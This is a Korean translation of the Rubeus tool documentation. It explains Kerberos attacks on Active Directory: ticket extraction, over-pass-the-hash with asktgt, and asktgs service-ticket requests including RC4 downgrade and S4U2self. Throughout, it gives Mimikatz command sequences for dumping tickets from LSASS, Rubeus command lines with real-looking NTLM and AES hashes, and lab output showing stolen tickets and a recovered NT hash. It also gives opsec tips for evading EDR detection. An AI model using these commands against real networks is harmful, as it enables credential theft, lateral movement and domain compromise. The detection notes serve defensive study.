공격 도구가 탐지되는 일반적인 방법 중 하나는 코드의 무기화 벡터를 통한 것입니다. Rubeus가 PowerShell을 통해 실행되는 경우(Empire 포함) 표준 PowerShell V5 보호 조치가 모두 적용됩니다(심층 스크립트 블록 로깅, AMSI 등). Rubeus가 디스크의 바이너리로 실행되는 경우 표준 AV 시그니처 탐지가 적용됩니다(취약한 시그니처는 어리석기 때문에 컴파일된 버전의 Rubeus를 출시하지 않는 이유 중 일부입니다 ; ). Rubeus가 라이브러리로 사용되는 경우 기본 도구가 실행되는 방식에 따라 취약해집니다. 그리고 Rubeus가 관리되지 않는 어셈블리 실행(Cobalt Strike의 execute_assembly 등)을 통해 실행되는 경우 프로세스 간 코드 주입이 수행되고 CLR이 잠재적으로 비.NET 프로세스에 로드되지만, 이 신호는 이 방법을 사용하는 모든 .NET 코드 실행에 존재합니다.
또한 AMSI(맬웨어 방지 검사 인터페이스)가 .NET 4.8에 추가되었습니다. Ryan Cobb는 그의 “Entering a Covenant: .NET Command and Control” 게시물의 방어 섹션에서 이에 대한 공격적인 의미에 대한 추가 세부 정보를 제공합니다.
기계에 대한 상승된 액세스 권한이 있고 사용자 자격 증명을 추출하여 재사용하려고 한다고 가정해 보겠습니다.
Mimikatz는 여러 옵션을 가진 자격 증명 추출의 스위스 군용 칼입니다. sekurlsa::logonpasswords 명령은 LSASS에 대한 읽기 핸들을 열고, 시스템에 있는 로그온 세션을 열거하며, 각 로그온 세션에 대한 기본 인증 패키지를 탐색하고, 존재하는 모든 역전 가능한 암호/자격 증명 자료를 추출합니다. 참고: sekurlsa::ekeys 명령은 Kerberos 패키지에 존재하는 모든 키 유형을 열거합니다.
Rubeus는 LSASS를 건드리는 코드가 없으며(의도되지도 않음), 따라서 기능은 LsaCallAuthenticationPackage() API를 사용하여 Kerberos 티켓을 추출하는 것으로 제한됩니다. 비상승 관점에서 TGT의 세션 키는 반환되지 않으므로(기본적으로) 추출된 서비스 티켓만 사용할 수 있습니다(tgtdeleg 명령은 Kekeo 트릭을 사용하여 현재 사용자에 대해 사용 가능한 TGT를 얻습니다). 높은 무결성 컨텍스트에서는 토큰 복제를 활용하는 GetSystem에 해당하는 작업을 실행하여 SYSTEM으로 상승시키고, LsaRegisterLogonProcess() API 호출을 통해 가짜 로그온 애플리케이션을 등록합니다. 이를 통해 시스템에 현재 LSA에 등록된 모든 티켓의 권한 있는 열거 및 추출이 가능하며, 결과적으로 base64로 인코딩된 .kirbi가 출력되어 나중에 재사용됩니다.
Mimikatz는 다음 일련의 명령으로 동일한 base64 .kirbi 추출을 수행할 수 있습니다:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz는 또한 다음을 사용하여 LSASS 메모리에서 직접 티켓을 추출할 수 있습니다:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
"누군가 그것을 찾기 전까지는 모든 것이 은밀하다"는 말처럼, LSASS 조작과 LsaCallAuthenticationPackage() API 호출을 통한 티켓 추출 중 어느 것이 더 "은밀한지"는 논쟁의 여지가 있습니다. Mimikatz의 인기로 인해 LSASS에 대한 핸들을 열고 메모리를 읽고 쓰는 행위는 EDR 탐지 및/또는 방지의 주요 대상이 되었습니다. 그러나 LsaCallAuthenticationPackage()는 비교적 제한된 프로세스 집합에서 사용되며, LsaRegisterLogonProcess()로 가짜 로그온 애플리케이션을 만드는 것도 상당히 비정상적인 행동입니다. 그러나 전체 API 수준의 내부 검사 및 기준 설정은 LSASS 보호보다 더 어려운 기술적 문제로 보입니다.
사용자의 rc4_hmac 해시(NTLM)를 복구하고 이 자격 증명을 재사용하여 사용자 계정에 권한 있는 액세스 권한이 있는 추가 시스템을 손상시키려 한다고 가정해 보겠습니다.
참고: pass-the-hash != over-pass-the-hash. 전통적인 pass-the-hash 기술은 NTLMv1/NTLMv2 프로토콜을 통해 해시를 재사용하는 것으로, Kerberos와 전혀 관련이 없습니다. over-pass-the-hash 접근 방식은 Benjamin Delpy와 Skip Duckwall에 의해 개발되었습니다(자세한 내용은 그들의 "Abusing Microsoft Kerberos - Sorry you guys don't get it" 프레젠테이션 참조). 이 접근 방식은 도메인 가입 사용자의 해시/키(rc4_hmac, aes256_cts_hmac_sha1 등)를 완전한 티켓 부여 티켓(TGT)으로 변환합니다.
Mimikatz의 sekurlsa::pth 명령을 통한 "over-passing-the-hash"와 Rubeus의 asktgt 명령(또는 원한다면 Kekeo)을 사용하는 것을 비교해 보겠습니다.
Mimikatz의 sekurlsa::pth 명령을 통해 over-pass-the-hash를 수행할 때, Mimikatz는 먼저 더미 자격 증명으로 새로운 로그온 유형 9 프로세스를 생성합니다. 이는 현재 로그온 세션과 상호 작용하지 않는 새로운 "희생" 로그온 세션을 만듭니다. 그런 다음 프로세스 메모리에 쓸 수 있는 기능으로 LSASS 프로세스를 열고, 제공된 해시/키를 관련 로그온 세션(이 경우 시작된 "희생" 로그온 세션)의 적절한 섹션에 패치합니다. 이로 인해 사용자가 정상적으로 로그온한 것처럼 일반 Kerberos 인증 프로세스가 정상적으로 시작되어 제공된 해시가 완전한 TGT로 변환됩니다.
Rubeus의 asktgt 명령(또는 Kekeo의 해당 명령)이 실행되면 원시 Kerberos 프로토콜을 사용하여 TGT를 요청하고, /ptt 플래그가 전달되면 현재 로그온 세션에 적용됩니다.
Mimikatz 접근 방식에서는 LSASS 메모리를 직접 조작하므로 관리자 권한이 필요합니다. 앞서 언급했듯이 Mimikatz의 인기로 인해 이러한 유형의 동작(LSASS에 대한 핸들을 열고 메모리 읽기/쓰기)은 EDR 탐지 및/또는 방지의 주요 대상이 되었습니다. Rubeus/Kekeo 접근 방식에서는 LSASS를 건드리지 않으므로 관리자 권한이 필요하지 않습니다. 그러나 티켓이 현재 로그온 세션에 적용되면(/ptt 사용) 현재 로그온 세션의 TGT가 덮어쓰여집니다. 이 동작은 /createnetonly 명령을 사용하여 희생 프로세스/로그온 세션을 만든 다음 새로 생성된 프로세스 LUID와 함께 /ptt /ticket:X /luid:0xa..를 사용하여 방지할 수 있습니다(관리자 액세스 필요). Cobalt Strike를 사용하는 경우 더미 자격 증명으로 make_token 명령을 사용한 다음 Rubeus가 검색한 티켓으로 kerberos_ticket_use를 사용하면 a) 관리자 권한이 필요하지 않고 b) 현재 로그온 세션 TGT를 덮어쓰지 않는 방식으로 새 TGT를 적용할 수 있습니다.
현재 시점에서 LSASS 조작 접근 방식은 기술의 인기로 인해 탐지되거나 완화될 가능성이 더 높다고 생각합니다. 그러나 Rubeus 접근 방식은 또 다른 탐지 가능한 동작을 초래합니다. 포트 88로 향하는 Kerberos 트래픽은 일반적으로 lsass.exe에서만 발생해야 합니다. 비정상적인 프로세스에서 이러한 유형의 원시 트래픽을 보내는 것은 정보를 수집할 수 있는 경우 탐지될 수 있습니다.
참고: 두 접근 방식 모두 잠재적으로 탐지될 수 있는 한 가지 방법은 앞서 언급한 "암호화 다운그레이드" 탐지입니다. AES 키를 검색하려면 Mimikatz의 sekurlsa::ekeys 모듈을 사용하여 모든 Kerberos 암호화 키를 반환하십시오(lsadump::dcsync와 동일). 이 키는 일부 탐지를 회피하려고 할 때 사용하기 더 좋습니다.
티켓 요청 명령 분석:
asktgt 액션은 지정된 사용자 및 암호화 키(/rc4, /aes128, /aes256 또는 /des)에 대한 원시 AS-REQ(TGT 요청) 트래픽을 구성합니다. 해시 대신 /password 플래그를 사용할 수도 있습니다. 이 경우 /enctype:X는 교환에 대해 기본적으로 RC4로 설정되며 des|aes128|aes256을 옵션으로 사용할 수 있습니다. /domain이 지정되지 않으면 컴퓨터의 현재 도메인이 추출되고, /dc가 지정되지 않으면 시스템의 현재 도메인 컨트롤러에 대해 동일하게 수행됩니다. 인증이 성공하면 결과 AS-REP가 구문 분석되고 KRB-CRED(사용자의 TGT를 포함하는 .kirbi)가 base64 블롭으로 출력됩니다. /ptt 플래그는 "pass-the-ticket"을 수행하고 결과 Kerberos 자격 증명을 현재 로그온 세션에 적용합니다. /luid:0xA.. 플래그는 현재 로그온 세션 대신 지정된 로그온 세션 ID(상승 필요)에 티켓을 적용합니다.
참고: 호스트에서 TGT를 요청하거나 현재 로그온 세션에 적용하는 데 상승된 권한이 필요하지 않으며, 대상 사용자의 올바른 해시만 있으면 됩니다. 또한, 또 다른 opsec 참고 사항: 현재 로그온 세션에는 한 번에 하나의 TGT만 적용할 수 있으므로 /ptt 옵션을 사용할 때 새 티켓이 적용되면 이전 TGT가 지워집니다. 해결 방법은 /createnetonly:C:\X.exe 매개변수(기본적으로 /show 플래그가 지정되지 않으면 프로세스를 숨김)를 사용하거나, 티켓을 요청하고 ptt /luid:0xA..로 다른 로그온 세션에 적용하는 것입니다.
기본적으로 Rubeus가 생성하는 AS-REQ와 실제 AS-REQ 사이에는 몇 가지 차이점이 있습니다. AS-REQ를 실제 요청과 더 유사하게 만들기 위해 /opsec 플래그를 사용할 수 있습니다. 이 플래그는 먼저 사전 인증 없이 초기 AS-REQ를 보내고, 성공하면 결과 AS-REP가 해독되고 TGT가 반환되며, 그렇지 않으면 사전 인증이 포함된 AS-REQ가 전송됩니다. 이 플래그는 Rubeus 트래픽을 더 은밀하게 만들기 위한 것이므로 기본적으로 aes256 이외의 암호화 유형과 함께 사용할 수 없으며, 다른 암호화 유형이 사용되면 경고를 출력하고 종료됩니다. /opsec 변경 사항과 함께 다른 암호화 유형을 사용할 수 있도록 /force 플래그가 있습니다.PKINIT 인증은 /certificate:X 인수와 함께 지원됩니다. PFX 파일의 개인 키가 비밀번호로 보호되어 있는 경우, 이 비밀번호를 /password:X 인수로 전달할 수 있습니다. PKINIT 인증을 사용할 때 /getcredentials 플래그를 사용하여 U2U 서비스 티켓을 자동으로 요청하고 계정의 NT 해시를 검색할 수 있습니다.
PAC 없이 TGT를 요청하려면 /nopac 스위치를 사용할 수 있습니다.
KDC 프록시(MS-KKDCP)를 사용하여 요청을 보내려면 /proxyurl:URL 인수를 사용할 수 있습니다. KDC 프록시의 전체 URL이 필요합니다(예: https://kdcproxy.exmaple.com/kdcproxy).
/nopreauth 플래그는 사전 인증 없이 AS-REQ를 보내는 데 사용할 수 있습니다. /service:SPN 인수는 AS-REQ를 직접 사용하여 서비스 티켓을 요청하는 데 사용할 수 있으며, SPN 또는 사용자 이름을 사용합니다.
[email protected]에 대한 RC4 해시를 사용하여 티켓을 요청하고 현재 로그온 세션에 적용:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
[email protected]에 대한 aes256_hmac 해시를 사용하여 티켓을 요청하고, 새 숨김 프로세스를 시작한 후 해당 로그온 세션에 티켓을 적용합니다. 참고: 상승된 권한 필요!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
/luid 및 /createnetonly 매개변수는 상승된 권한이 필요합니다!
인증서를 사용하고 /getcredentials를 사용하여 NT 해시를 검색하는 티켓 요청:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
asktgs 액션은 제공된 TGT( /ticket:X )를 사용하여 원시 TGS-REQ/TGS-REP 서비스 티켓 요청을 빌드/구문 분석합니다. 이 값은 .kirbi 파일의 base64 인코딩 또는 디스크에 있는 .kirbi 파일의 경로일 수 있습니다. /dc가 지정되지 않은 경우, 컴퓨터의 현재 도메인 컨트롤러를 추출하여 요청 트래픽의 대상으로 사용합니다. /ptt 플래그는 "티켓 전달(pass-the-ticket)"을 수행하고 결과 서비스 티켓을 현재 로그온 세션에 적용합니다. 하나 이상의 /service:X SPN을 반드시 쉼표로 구분하여 지정해야 합니다.
구성된 TGS-REQ에서 지원되는 암호화 유형은 RC4_HMAC, AES128_CTS_HMAC_SHA1 및 AES256_CTS_HMAC_SHA1입니다. 이 경우 KDC는 반환된 서비스 티켓을 빌드하는 데 가장 높은 상호 지원 암호화를 사용합니다. DES, RC4 또는 AES128/256 키를 강제로 사용하려면 /enctype:[RC4|AES128|AES256|DES]를 사용하세요.
엔터프라이즈 사용자(예: [email protected])를 사용하여 서비스 티켓을 요청하려면 /enterprise 플래그를 사용할 수 있습니다.
기본적으로 Rubeus에 의해 생성된 TGS-REQ와 실제 TGS-REQ 간에는 몇 가지 차이점이 있습니다. 실제 요청에 더 가깝게 TGS-REQ를 구성하려면 /opsec 플래그를 사용할 수 있습니다. 이 플래그는 제약 없는 위임을 위해 구성된 계정에 대한 서비스 티켓이 요청될 때 추가 TGS-REQ가 자동으로 전송되도록 합니다. 이 플래그는 Rubeus 트래픽을 더 은밀하게 만들기 위한 것이므로 기본적으로 aes256 이외의 암호화 유형과 함께 사용할 수 없으며, 다른 암호화 유형이 사용되면 경고를 출력하고 종료됩니다.
다른 시나리오를 수동으로 시험해 보려면 /tgs:X를 사용하여 요청 본문에 추가 티켓을 제공할 수 있습니다. 이는 또한 제약 위임 KDC 옵션을 추가하고 주어진 SPN /service:X에서 도메인을 동적으로 결정하지 않도록 합니다. 이러한 이유로 /targetdomain:X 인수가 구현되어 요청이 제공된 도메인을 사용하도록 강제합니다. 이는 외부 도메인에서 위임된 서비스 티켓을 요청하거나 일반 SPN이 있는 티켓을 요청할 때 유용합니다.
/u2u 플래그는 사용자 간(User-to-User) 티켓을 요청하기 위해 구현되었습니다. /tgs:X 인수(대상 계정의 TGT를 제공하는 데 사용됨)와 함께 /service:X 인수는 제공된 TGT가 속한 계정의 사용자 이름이 될 수 있습니다(/tgs:X 인수와 함께 사용). /targetuser:X 인수는 대상 사용자의 사용자 이름으로 PA-FOR-USER PA 데이터 섹션을 삽입하여 다른 계정의 PAC를 요청합니다.
/printargs 플래그는 PAC를 읽을 수 있는 경우 동일한 PAC 값으로 티켓을 위조하는 데 필요한 인수를 인쇄합니다. 이는 /servicekey:X 인수를 제공하거나 알려진 세션 키로 /u2u 요청을 수행하여 수행할 수 있습니다.
KDC 프록시(MS-KKDCP)를 사용하여 요청을 보내려면 /proxyurl:URL 인수를 사용할 수 있습니다. KDC 프록시의 전체 URL이 필요합니다(예: https://kdcproxy.exmaple.com/kdcproxy).
/keyList 플래그는 Kerberos 키 목록 요청을 위해 구현되었습니다. 이러한 요청은 /ticket:BASE64|FILE.KIRBI 매개변수에 읽기 전용 도메인 컨트롤러의 위조된 부분 TGT를 활용해야 합니다. 이 위조된 TGT에 대한 자세한 내용은 golden 섹션을 참조하세요. 또한 /spn:x 필드는 도메인 내 KRBTGT SPN(예: KRBTBT/domain.local)으로 설정해야 합니다.
asktgs 액션은 또한 LSASS를 통해 Kerberos 인증 패키지를 사용하여 서비스 티켓 요청을 지원합니다. 이 작동 모드는 /ticket 인수를 생략하여 활성화할 수 있습니다. 기본적으로 현재 로그온 세션과 연결된 TGT가 사용됩니다. /luid:xxx 인수를 제공하여 다른 로그온 세션을 대상으로 지정할 수 있습니다. 다른 로그온 세션을 대상으로 할 때는 로컬 관리자 권한이 필요합니다. 현재 LSASS를 통해 단순 서비스 티켓만 요청할 수 있습니다. S4U2Self, U2U, 키 목록 및 KDC 프록시와 같은 기능에 대한 인수는 무시됩니다. LSASS를 통해 서비스 티켓을 요청하는 것은 Kerberos 트래픽이 LSASS에서 발생하므로 종종 opsec 친화적일 수 있습니다. 이 모드는 Credential Guard / Remote Credential Guard가 활성화된 시나리오에서도 필요합니다. Credential Guard를 사용하면 TGT를 덤프할 수 없기 때문입니다.
dfm.a에 대한 TGT를 요청한 다음 해당 티켓을 사용하여 "LDAP/primary.testlab.local" 및 "cifs/primary.testlab.local" SPN에 대한 서비스 티켓을 요청:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
AES 지원 서비스 계정에 대한 서비스 티켓을 요청하고, RC4_HMAC만 지원하도록 지정:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
사용자 간 서비스 티켓을 요청하고 PA for User PA-DATA 섹션(S4U2self 요청)을 포함하면 모든 사용자에 대한 읽기 가능한 PAC를 얻을 수 있습니다:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
